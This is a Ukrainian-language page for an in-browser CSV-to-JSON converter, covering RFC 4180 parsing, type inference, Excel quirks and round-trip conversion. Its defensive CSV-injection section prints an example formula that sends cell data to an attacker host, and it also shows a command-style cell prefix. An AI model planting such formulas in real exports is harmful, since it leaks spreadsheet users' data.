Конвертер CSV в JSON

Наш конвертер CSV в JSON обробляє будь-який CSV згідно зі стандартними вимогами RFC 4180 (кому чи інші роздільники, поля в лапках, екрановані лапки, багаторядкові клітинки) і створює чистий масив JSON. Перший рядок за замовчуванням стає ключами об'єкта (це можна налаштувати). Числові та логічні значення автоматично отримують типи (числа залишаються числами, true/false стають булевими значеннями, порожні клітинки стають null) — вимкніть це, якщо вам потрібно залишити все як рядки для суворих вимог наступних систем. Перевірка виявляє неповні рядки, незакриті лапки та проблеми з кодуванням за номерами рядків. Усе працює у вашому браузері, тому клієнтські експорти, зарплатні CSV та інші конфіденційні табличні дані ніколи не покидають ваш пристрій. Використовуйте його для імпорту наборів даних JavaScript, тіл запитів REST API, файлів заповнення MongoDB чи будь-яких інструментів, що надають перевагу JSON перед CSV.

star 4.9
auto_awesome AI
New

CSV в JSON calculator

info Paste CSV to convert to JSON
0 rows 0 cols 0 B

lightbulb Tips

  • •RFC 4180: quote fields containing , " or newline
  • •Escape embedded quotes by doubling: "" represents one "
  • •First row = headers (object keys) by default
  • •Type inference: 42 → number, true/false → bool, empty → null
  • •Quote ZIP codes ("01234") to keep them as strings

Як конвертувати CSV у JSON за 3 кроки: Вставте, Проаналізуйте, Скопіюйте

content_paste

Вставити CSV

Вставте будь-який CSV — експорт з Excel, дамп бази даних або відповідь API. Парсер автоматично обробляє лапки за RFC 4180, закінчення рядків CRLF/LF та UTF-8 BOM.

tune

Налаштувати

Виберіть розділювач (кома, крапка з комою, табуляція, вертикальна риска), увімкніть або вимкніть режим рядка заголовка та виберіть увімкнення/вимкнення виведення типів. Значення за замовчуванням підходять для більшості експортів з Excel та Google Sheets.

swap_horiz

Конвертувати

JSON з'являється миттєво зі значеннями правильних типів, ключами заголовків та обраним відступом. Виберіть відступ у 2 пробіли, 4 пробіли або мініфікований вивід.

content_copy

Скопіювати або завантажити

Натисніть «Копіювати», щоб скопіювати в буфер обміну, або «Завантажити», щоб зберегти як файл `.json`, готовий для тіл API-запитів, наборів даних JavaScript або початкового заповнення баз даних.

The Formula

Перетворення CSV у JSON розбиває CSV на лексеми згідно з RFC 4180: поля розділені роздільником, поля в подвійних лапках можуть містити роздільники та нові рядки, а `""` усередині поля в лапках є екранованою лапкою. Перший рядок вважається заголовком і стає ключами об'єкта JSON; наступні рядки стають об'єктами. Додаткове визначення типів перетворює очевидні числові та булеві рядки на вбудовані типи JSON. Результатом є масив JSON, готовий до використання в будь-якій мові, яка має парсер JSON.

parse CSV(input, delimiter, quote) → [{header: value, ...}, ...]

lightbulb Variables Explained

  • input Вихідний текст CSV (RFC 4180 — з розділювачами-комами, рядки в подвійних лапках, закінчення рядків CRLF або LF)
  • parse CSV() Розбиває на лексеми за роздільником з урахуванням полів у лапках, розгортає екрановані лапки ("" → "), зберігає значення клітинок
  • delimiter Роздільник полів — кома (за замовчуванням), табуляція, крапка з комою або вертикальна риска
  • header row Перший рядок стає ключами об'єкта JSON (можна перемикати; вимкнено → видавати масив масивів)
  • type inference Числові рядки → числа, true/false → логічне значення, порожні → null (налаштовується)

tips_and_updates Pro Tips

1

Беріть у лапки будь-яке поле, що містить кому, подвійну лапку чи перенесення рядка — стандарт RFC 4180 вимагає використовувати подвійні лапки навколо таких клітинок

2

Екрануйте подвійні лапки всередині полів у лапках, подвоюючи їх: `"Він сказав ""привіт"""` представляє значення `Він сказав "привіт"`

3

Перший рядок за замовчуванням вважається заголовком — вимкніть це, якщо ваш CSV не має заголовка (результатом стане масив масивів)

4

Визначення типів розпізнає `123`, `4.5`, `true`, `false` та порожні клітинки (→ null). Вимкніть, якщо ваші подальші системи потребують виключно рядків

5

Порожні клітинки у джерелі за замовчуванням стають `null` у JSON — змініть на порожній рядок, якщо ваша система віддає перевагу цьому

6

Експорти CSV з Excel часто використовують символи закінчення рядка CRLF у Windows — парсер підтримує як CRLF, так і LF

7

Зважайте на BOM (мітку порядку байтів) на початку файлів UTF-8 CSV, експортованих з Excel — парсер видаляє її автоматично

8

Для дуже великих файлів CSV (від 50 МБ) краще використовувати потокові інструменти, такі як `csvkit`, `jq` або `Papa Parse` з розбиттям на частини замість конвертації у браузері

9

Рядки числових значень у лапках (`"01234"` для поштового індексу) залишаються рядками у виводі — визначення типів застосовується лише до значень без лапок

10

Остерігайтеся CSV-ін'єкцій: ніколи не вставляйте CSV з ненадійних джерел безпосередньо в Excel чи Google Таблиці без очищення перших символів `=`, `+`, `-`, `@` (OWASP)

Миттєво конвертуйте будь-який файл CSV у JSON — вставте, розпарсіть, скопіюйте. Конвертер підтримує лапки за стандартом RFC 4180 (екрановані лапки через `""`), багаторядкові комірки, закінчення рядків CRLF/LF, видалення UTF-8 BOM та чотири варіанти роздільників (кома, крапка з комою, табуляція, вертикальна риска). Виведення типів автоматично розпізнає числа та логічні значення; вимкніть його для отримання результату у вигляді самих лише рядків. Усе працює у вашому браузері, тому експорт клієнтів, платіжні відомості у форматі CSV та інші конфіденційні табличні дані ніколи не покидають ваш пристрій. Нижче наведено: як парсер працює зсередини, відмінності між CSV та JSON для розробників, патерни конвертації для Excel/Google Таблиць, правила виведення типів, крайні випадки RFC 4180, безпеку щодо CSV-ін'єкцій та пам'ятку для безпечного двостороннього перетворення.

Онлайн-конвертер CSV у JSON: Миттєвий парсинг будь-якої таблиці в JSON

Вставте валідний CSV — експорт з Excel, завантаження з Google Таблиць, дамп бази даних або відповідь API — і конвертер миттєво видасть чистий масив JSON. Перший рядок за замовчуванням вважається заголовком і стає ключами об'єкта JSON; наступні рядки стають об'єктами в масиві JSON.

Виведення типів перетворює:

  • очевидні числові рядки на числа (42 залишається цілим числом, 3.14 залишається числом з плаваючою комою)
  • рядки логічних значень на булеві (true/false без урахування регістру)
  • порожні клітинки на null

Вимкніть ці функції, якщо ваш подальший споживач суворо ставиться до типів.

Конвертація виконується повністю у вашому браузері за допомогою написаного вручну парсера RFC 4180 разом із нативним JSON.stringify (згідно з ECMA-404). Вихідні дані готові для вставки у файл `.json`, передачі в REST API або використання як набору даних JavaScript.

Як конвертувати CSV у JSON: Робочий процес із 3 кроків для розробників

  • Крок 1: Вставте ваш CSV в редактор. Парсер перевіряє валідність під час введення — недійсний CSV (незакриті лапки, нерівні рядки, неправильний роздільник) показує точну помилку із зазначенням рядка та стовпця.
  • Крок 2: За потреби налаштуйте парсер — виберіть роздільник (за замовчуванням кома; перемкніть на крапку з комою для експорту з європейського Excel або на табуляцію для файлів TSV), увімкніть або вимкніть режим рядка заголовка та виберіть виведення типів.
  • Крок 3: Вихідний JSON з'являється в реальному часі на правій панелі. Натисніть «Копіювати» (у буфер обміну) або «Завантажити» (файл `.json`).

Для програмних робочих процесів ця ж логіка доступна через ендпоінт `/api/calculate` — надішліть туди CSV за допомогою POST-запиту та отримайте JSON у тілі відповіді. Безпека двостороннього перетворення зберігається для плоских табличних даних; вкладені дані потребують спеціальної стратегії зведення.

CSV проти JSON: Головні відмінності у структурі, типах та варіантах використання

CSV (Comma-Separated Values) — це плоский табличний формат, де кожен рядок є рядком таблиці, а поля розділені роздільником. Він не має власних типів (кожна клітинка є текстом), вкладеності (один рівень глибини, як таблиця бази даних) та мінімальних метаданих (необов'язковий рядок заголовка). Він універсально читається: кожен табличний редактор, кожен імпорт до бази даних та кожна консольна утиліта розуміють CSV.

JSON (JavaScript Object Notation) — це ієрархічний формат із явними типами (рядок, число, логічне значення, null), вкладеними об'єктами й масивами, а також самоописовими ключами для кожного запису. JSON є загальновизнаною мовою для REST/GraphQL API, NoSQL баз даних та файлів конфігурації.

Коли що використовувати:

  • CSV для масивних табличних даних, обміну таблицями, завантаження ETL та роботи аналітиків.
  • JSON для API, конфігурацій, вкладених записів та обміну повідомленнями між машинами.

Здійснюйте конвертацію між ними на межі систем: завантажте CSV → обробіть як JSON → експортуйте назад у CSV, якщо цього потребує користувач таблиць.

Парсинг CSV за стандартом RFC 4180: Поля в лапках, екрановані лапки та крайні випадки

RFC 4180 (2005) — це інформаційний стандарт IETF для CSV.

Основні правила:

  • Записи розділяються за допомогою CRLF (Windows) або LF (Unix).
  • Поля розділяються роздільником (кома за стандартом; на практиці часто використовують інші символи).
  • Поля, що містять роздільник, подвійну лапку або новий рядок, повинні бути взяті в подвійні лапки.
  • Всередині поля в лапках буквальна подвійна лапка екранується її подвоєнням (`""` означає одну `"`).
  • Необов'язковий рядок заголовка з'являється як перший запис.

Реалізований тут парсер допускає закінчення рядків лише з LF, роздільники у вигляді крапки з комою, табуляції чи вертикальної риски (налаштовується в параметрах), UTF-8 BOM на початку файлу (видаляється автоматично), а також кінцевий новий рядок в кінці файлу. Він відхиляє незакриті поля в лапках та нерівні рядки з чіткими повідомленнями про помилки.

Виведення типів: Числа, логічні значення та обробка null у конвертації з CSV у JSON

Виведення типів перетворює очевидні значення без лапок на вбудовані типи JSON.

  • Числа: шаблони цифр, що відповідають синтаксису цілих чисел або чисел з плаваючою комою в JSON, стають числами JSON. `42` → ціле число 42. `3.14` → число з плаваючою комою 3.14. `1e6` → 1000000. `01234` є двозначним — строгі парсери чисел відхиляють початкові нулі, тому воно залишається рядком (що якраз потрібно для поштових індексів).
  • Логічні значення: `true` та `false` (без урахування регістру) стають булевими значеннями JSON. Примітка: це конвенція YAML 1.2 / строгого JSON — `yes`/`no`/`on`/`off` залишаються рядками (виправлення «норвезької проблеми»).
  • Null: порожні клітинки (між двома послідовними роздільниками або в кінці рядка) стають null у JSON.

Якщо ви вимкнете виведення типів, кожна клітинка залишатиметься рядком незалежно від вмісту — це корисно, коли ваш подальший споживач (наприклад, суворий конвеєр TypeScript) очікує однорідних типів.

Конвертація файлів Excel CSV у JSON: Кодування, роздільники та особливості

Excel є найпопулярнішим генератором CSV, і його експорт має свої особливості.

  • Кодування: Excel для Windows часто зберігає CSV у кодуванні UTF-8 з BOM (парсер видаляє його автоматично) або Windows-1252 (Latin-1) для старих версій. Excel для Mac зазвичай зберігає чистий UTF-8. Якщо не-ASCII символи виглядають спотворено, повторно збережіть файл як UTF-8 у вашій програмі для роботи з таблицями перед вставкою.
  • Роздільники: у європейських локаціях (Німеччина, Франція тощо) Excel використовує крапку з комою, оскільки кома є десятковим роздільником; відповідно налаштуйте роздільник.
  • Закінчення рядків: Excel за замовчуванням використовує CRLF — повністю підтримується.
  • Лапки: Excel бере в лапки будь-яку клітинку, що містить кому або подвійну лапку; вбудовані лапки екрануються за допомогою `""`.
  • Форматування чисел: Excel може експортувати `1,234.56` (кома як роздільник тисяч), і парсер сприйматиме це як рядок, якщо ви не зміните форматування.
  • Колонки дат експортуються як рядок за замовчуванням для поточної локалі — зазвичай вимагають додаткової обробки для конвертації в ISO 8601.

Конвертація CSV у JSON для REST API та імпорту в бази даних

JSON є основним форматом запитів і відповідей для REST API, ендпоінтів GraphQL та більшості сучасних вебсервісів.

Конвертація CSV у JSON є частим кроком, коли ви:

  • масово імпортуєте дані через API, що приймає масиви JSON (наприклад, реєстрація користувачів, заповнення каталогу товарів, ендпоінти масового оновлення);
  • заповнюєте бази даних NoSQL (MongoDB, DynamoDB, Cassandra), які приймають JSON нативно через `mongoimport`, `aws dynamodb batch-write-item` або подібні інструменти;
  • наповнюєте конвеєри ETL (Airflow, Prefect, dbt), які переносять експортовані CSV через трансформації на основі JSON;
  • заповнюєте тестові дані для прототипів компонентів на React/Vue/Angular.

Після конвертації перевірте вихідний JSON на відповідність вашій схемі (JSON Schema, тіло запиту OpenAPI, вхідний тип GraphQL), щоб виявити невідповідність типів до розгортання.

Конвертація CSV у JSON для JavaScript, Node.js та фронтенд-датасетів

JSON є рідним фортом даних для середовищ виконання JavaScript (браузер, Node.js, Deno, Bun).

Конвертуйте CSV у JSON, коли вам потрібно:

  • вбудувати статичний набір даних у компонент React/Vue (`import data from './data.json'`);
  • заповнити початковий стан сховища Redux/Pinia/Zustand;
  • передати дані в бібліотеку побудови графіків (Chart.js, D3, Plotly), яка очікує JSON;
  • створити прототип скрипта Node.js, який обробляє записи перед записом до бази даних;
  • створити мок-ендпоінт Express/Fastify, який повертає зразки даних.

Вихідний JSON із цього конвертера повністю сумісний з ECMA-404 — `JSON.parse()`, тіла POST-запитів `fetch()` та виведення типів у TypeScript (`type Row = typeof data[0]`) працюють без будь-яких змін.

Для дуже великих наборів даних (від 10 тисяч рядків) розважте можливість використання потокового передавання через Papa Parse замість конвертації за один раз.

Безпека щодо CSV-ін'єкцій: Префікси формул та санітизація

CSV-ін'єкція (також звана ін'єкцією формул) — це вразливість вебзастосунків, коли файл CSV, що містить префікси формул (`=`, `+`, `-`, `@`), відкривається в Excel або Google Таблицях, і табличний редактор автоматично виконує цю формулу.

Зловмисники можуть використати це для:

  • викрадення даних (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
  • запуску довільних команд (синтаксис застарілих макросів Excel),
  • або спонукання користувачів відвідувати шкідливі URL-адреси.

Цей конвертер працює лише в режимі читання (CSV → JSON), тому він не створює ризику ін'єкцій. Але якщо ваш застосунок генерує експорт CSV з користувацького введення — проводьте санітизацію.

Стандартне пом'якшення ризиків: додавайте одинарну лапку як префікс до будь-якої клітинки, що починається з `=`, `+`, `-`, `@`, `\t`, `\r` або `0x09` (`'=cmd|...`), перед записом у CSV. OWASP має повну пам'ятку з безпеки CSV-ін'єкцій, що охоплює всі варіанти.

Поширені помилки парсингу CSV: Незакриті лапки, нерівні рядки та кодування

П'ять помилок становлять 90% збоїв під час парсингу CSV.

  • Незакрите поле в лапках — поле починається з `"`, але не має відповідної закриваючої `"`. Парсер продовжує читання до кінця файлу, а потім видає помилку. Виправлення: переконайтеся, що кожна відкриваюча лапка має пару.
  • Нерівні рядки — деякі рядки містять менше або більше полів, ніж заголовок. Причини: випадкові нові рядки всередині незяттих у лапки текстів, відсутні або зайві роздільники. Виправлення: перевірте стабільність кількості стовпців.
  • Неправильний роздільник — ваш файл використовує крапку з комою, але в парсері встановлено кому. Змініть налаштування роздільника.
  • Неправильний стиль екранування — використання `\"` (стиль JSON) замість `""` (стиль RFC 4180) всередині полів у лапках. Виправлення: повторно експортуйте з вихідного інструменту з правильним використанням лапок за стандартом RFC 4180.
  • Невідповідність кодування — символи не у форматі UTF-8 виглядають спотворено. Повторно збережіть вихідний файл як UTF-8 (більшість програм для роботи з таблицями пропонують цю опцію в меню «Зберегти як»).

Повідомлення про помилку в конвертері вказує точний рядок і стовпець.

Безпека двостороннього перетворення: CSV → JSON → CSV та крайні випадки

П'ять важливих нюансів двостороннього перетворення, про які повинен знати кожен розробник.

  • Плоскі дані: чистий плаский табличний CSV → JSON → CSV зберігає значення клітинки, типи (з урахуванням підвищення типів, якщо ви повторно розпарсите JSON) і порядок стовпців.
  • Вкладений JSON: не може пройти через двостороннє перетворення у CSV без зведення. Виберіть стратегію: назви стовпців через крапку (`address.city`, `address.zip`), рядки JSON всередині клітинок або лише перший рівень.
  • Підвищення типів: числові рядки та рядки логічних значень підвищуються під час переходу CSV → JSON; якщо ви експортуєте назад у CSV, вони виводяться у своєму нативному форматі. Поштові індекси (`01234`) вимагають лапок у вихідному CSV, щоб зберегтися.
  • Порядок заголовків: конвертер зберігає порядок вихідних стовпців. Порядок ключів об'єкта JSON зберігається сучасними рушіями JavaScript.
  • Порожні клітинки: стають null у JSON; якщо ви експортуєте назад, налаштуйте свій генератор CSV так, щоб він виводив порожні рядки або літерали `null` як оригінал.
  • Перевіряйте роботу на нетривіальних наборах даних, перш ніж покладатися на двостороннє перетворення у виробничих конвеєрах.

Пам'ятка щодо CSV у JSON: Зіставлення типів, інструменти та найкращі практики

Коротке зіставлення типів:

  • Рядок заголовка CSV → ключі об'єкта JSON;
  • Рядок CSV → об'єкт JSON;
  • Клітинка CSV (без лапок, числова) → число JSON;
  • Клітинка CSV (без лапок, true/false) → логічне значення JSON;
  • Клітинка CSV (порожня) → null у JSON;
  • Клітинка CSV (у лапках або нечислова) → рядок JSON.

Порівняння інструментів: цей конвертер (браузерний, миттєвий, без встановлення, суворий RFC 4180) проти Papa Parse (бібліотека JS, потокове передавання, робочі потоки) проти csvkit (CLI Python, великі файли, визначення діалекту) проти `jq -R -c -f csv2json.jq` (оболонка Unix, програмний).

Найкращі практики:

  • Завжди беріть у лапки неоднозначні поля (числові ідентифікатори, поштові індекси, рядки з початковими нулями) у вихідному CSV.
  • Використовуйте кодування UTF-8 для сумісності — повторно зберігайте старі файли Excel як UTF-8.
  • Перевіряйте вихідний JSON на відповідність вашій схемі (JSON Schema, OpenAPI, типи TypeScript) — виявляйте помилки типів на межі систем, а не в продакшні.
  • Зберігайте CSV як єдине джерело істини для табличних даних і за потреби генеруйте JSON заново під час збирання/імпорту.
  • Для файлів розміром понад 50 МБ використовуйте потокові інструменти (Papa Parse worker, конвеєр csvkit) замість конвертації у браузері.
code

Embed this Конвертер CSV в JSON on your site

Free for any site. Copy the snippet below and paste into your HTML — no attribution required beyond the built-in credit link.

<iframe src="https://calculators.im/embed/csv-to-json-converter" width="100%" height="720" style="border:0;max-width:100%;" loading="lazy" title="Конвертер CSV в JSON by Calculators.im"></iframe>
<p style="font-size:12px;text-align:center;color:#64748b;margin-top:6px;">Powered by <a href="https://calculators.im/csv-to-json-converter?utm_source=embed&utm_medium=snippet&utm_campaign=csv-to-json-converter">Конвертер CSV в JSON</a> by Calculators.im</p>
open_in_new Preview embed Auto-resizing iframe. Mobile responsive. Works with WordPress, Ghost, Webflow, and plain HTML.

Frequently Asked Questions

sell

Tags